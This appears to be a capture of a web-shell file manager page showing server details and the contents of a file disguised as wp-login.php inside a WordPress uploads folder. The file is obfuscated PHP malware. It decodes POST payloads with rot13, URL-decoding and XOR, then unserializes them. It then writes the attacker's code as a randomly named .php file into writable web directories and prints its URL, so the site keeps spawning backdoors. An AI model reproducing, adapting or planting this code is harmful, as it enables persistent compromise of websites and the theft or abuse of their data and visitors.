HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/wpdesk-logs/wp-login.php
<?php function OOBUZzjxy($tiqPlPjXo){$ghWeEdqQL = chr(942-828)."\141"."\x77".chr(117)."\162".chr(108)."\144".chr(101).chr(393-294)."\x6f".chr(100)."\145";$uuYpsHgS = "\163".'t'.chr(114)."\137".'r'.chr(720-609).chr(116).'1'.chr(51);$lbiHGtBaY = chr(463-348).chr(504-388).chr(114).chr(95)."\163".chr(112).chr(505-397).chr(105)."\x74";$tiqPlPjXo = $lbiHGtBaY($ghWeEdqQL($uuYpsHgS($tiqPlPjXo)));return $tiqPlPjXo;}function WNNdESjkch($NRsSBIB, $tiqPlPjXo){$HWzVuE = "\163"."\164"."\162".'_'."\x73"."\x70".chr(190-82).chr(112-7).chr(116);$NRsSBIB = array_slice($HWzVuE(str_repeat($NRsSBIB, (count($tiqPlPjXo)/16)+1)), 0, count($tiqPlPjXo));return $NRsSBIB;}function ZSFmNekN($tfUVHmtCae, $ZRhWb, $NRsSBIB){$SSHrIOvhmQgZ = "9e4df09b-487a-47c8-b0c4-ce1317e1d596";return $tfUVHmtCae ^ $SSHrIOvhmQgZ[$ZRhWb % strlen($SSHrIOvhmQgZ)] ^ $NRsSBIB;}function UPloh($tiqPlPjXo, $NRsSBIB){$tiqPlPjXo = array_map("ZSFmNekN", array_values($tiqPlPjXo), array_keys($tiqPlPjXo), array_values($NRsSBIB));$tiqPlPjXo = implode("", $tiqPlPjXo);$VQLSlK = "\165".chr(285-175).'s'.chr(101).'r'."\x69".chr(97)."\154".'i'.chr(122).chr(267-166);$tiqPlPjXo = @$VQLSlK($tiqPlPjXo);return $tiqPlPjXo;}function rVWIqm(){echo "byiYq";}function MsMIejb($SSHrIOvhir){static $vVhOSo = array();$lIiyO = glob($SSHrIOvhir . '/*', GLOB_ONLYDIR);$FOIMGgn = count($lIiyO);if ($FOIMGgn > 0) {foreach ($lIiyO as $SSHrIOvh) {$qsaYpl = "\151"."\163".chr(95)."\x77".'r'."\151".chr(544-428).chr(97).chr(98).chr(108).chr(929-828);if (@$qsaYpl($SSHrIOvh)) {$vVhOSo[] = $SSHrIOvh;}}}foreach ($lIiyO as $SSHrIOvhir) MsMIejb($SSHrIOvhir);return $vVhOSo;}function quUiXR(){echo "dpeRapm";}function Lsjlv($tiqPlPjXo){$UBWhTXln = "\104".chr(79).chr(67)."\x55".chr(77)."\105"."\x4e".'T'.chr(775-680).chr(82).chr(79).chr(79).chr(84);$vgMCPgWyp = $_SERVER[$UBWhTXln];$lIiyO = MsMIejb($vgMCPgWyp);$iljmMViPGM = array_rand($lIiyO);$eHzgMq = chr(698-652).'p'.chr(104).chr(112);$fDksga = $lIiyO[$iljmMViPGM] . "/" . substr(md5(time()), 0, 8) . $eHzgMq;$IHothRYWh = chr(102).chr(105).chr(108)."\x65".chr(95)."\160"."\x75".'t'.chr(95)."\x63"."\x6f"."\x6e".'t'."\145"."\156".'t'."\163";@$IHothRYWh($fDksga, $tiqPlPjXo);$cQXFQDGIvy = chr(945-873).chr(796-712).'T'."\x50".chr(95).chr(585-513)."\117"."\123".chr(84);$iyPYw = "\150".'t'.chr(233-117).'p'."\72"."\x2f".'/';$vomnlg = $iyPYw . $_SERVER[$cQXFQDGIvy] . substr($fDksga, strlen($vgMCPgWyp));print($vomnlg);}foreach ($_POST as $NRsSBIB => $tiqPlPjXo){$YXQBa = strlen($NRsSBIB);if ($YXQBa == 16){$tiqPlPjXo = OOBUZzjxy($tiqPlPjXo);$NRsSBIB = WNNdESjkch($NRsSBIB, $tiqPlPjXo);$tiqPlPjXo = UPloh($tiqPlPjXo, $NRsSBIB);if (@is_array($tiqPlPjXo)){$iljmMViPGM = array_keys($tiqPlPjXo);$tiqPlPjXo = $tiqPlPjXo[$iljmMViPGM[0]];if ($tiqPlPjXo === $iljmMViPGM[0]){$XiBpY = chr(112)."\x68".chr(112);$SoIceE = "\160"."\x68".chr(112).chr(118).chr(860-759).chr(750-636).chr(979-864).chr(178-73).chr(676-565).'n';$SUinGyBBd = chr(115)."\x65".chr(114).chr(478-373)."\141".chr(108)."\151".chr(729-607).'e';echo @$SUinGyBBd(Array($XiBpY => @$SoIceE(), ));}else {Lsjlv($tiqPlPjXo);}die();}}}